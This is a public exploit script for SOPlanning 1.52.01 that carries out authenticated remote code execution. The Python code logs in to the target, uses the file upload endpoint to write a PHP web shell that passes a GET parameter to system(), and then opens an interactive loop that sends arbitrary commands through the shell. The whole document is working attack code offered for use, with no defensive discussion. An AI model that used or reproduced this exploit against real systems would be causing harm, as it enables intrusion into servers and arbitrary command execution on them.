SOPlanning 1.52.01 Remote Code Execution

`# Exploit Title: SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)  
# Date: 6th October, 2024  
# Exploit Author: Ardayfio Samuel Nii Aryee  
# Version: 1.52.01   
# Tested on: Ubuntu  
  
import argparse  
import requests  
import random  
import string  
import urllib.parse  
  
def command_shell(exploit_url):  
commands = input("soplaning:~$ ")  
encoded_command = urllib.parse.quote_plus(commands)  
  
command_res = requests.get(f"{exploit_url}?cmd={encoded_command}")  
if command_res.status_code == 200:  
print(f"{command_res.text}")  
return  
print(f"Error: An erros occured while running command: {encoded_command}")  
  
def exploit(username, password, url):  
target_url = f"{url}/process/login.php"  
upload_url = f"{url}/process/upload.php"  
link_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))  
php_filename = f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=3))}.php"  
  
login_data = {"login":username,"password":password}  
res = requests.post(target_url, data=login_data, allow_redirects=False)  
  
cookies = res.cookies  
  
multipart_form_data = {  
"linkid": link_id,  
"periodeid": 0,  
"fichiers": php_filename,  
"type": "upload"  
}  
  
web_shell = "<?php system($_GET['cmd']); ?>"  
  
files = {  
'fichier-0': (php_filename, web_shell, 'application/x-php')  
}  
upload_res = requests.post(upload_url, cookies=cookies,files=files, data=multipart_form_data)  
  
if upload_res.status_code == 200 and "File" in upload_res.text:  
print(f"[+] Uploaded ===> {upload_res.text}")  
print("[+] Exploit completed.")  
exploit_url = f"{url}/upload/files/{link_id}/{php_filename}"  
print(f"Access webshell here: {exploit_url}?cmd=<command>")  
  
if "yes" == input("Do you want an interactive shell? (yes/no) "):  
try:  
while True:  
command_shell(exploit_url)  
except Exception as e:  
raise(f"Error: {e}")  
else:  
pass  
  
  
def main():  
parser = argparse.ArgumentParser(prog="SOplanning RCE", \  
usage=f"python3 {__file__.split('/')[-1]} -t http://example.com:9090 -u admin -p admin")  
  
parser.add_argument("-t", "--target", type=str, help="Target URL (e.g., http://localhost:8080)", required=True)  
parser.add_argument("-u", "--username",type=str,help="username", required=True)  
parser.add_argument("-p", "--password",type=str,help="password", required=True)  
  
args = parser.parse_args()  
  
exploit(args.username, args.password, args.target)  
  
main()  
  
`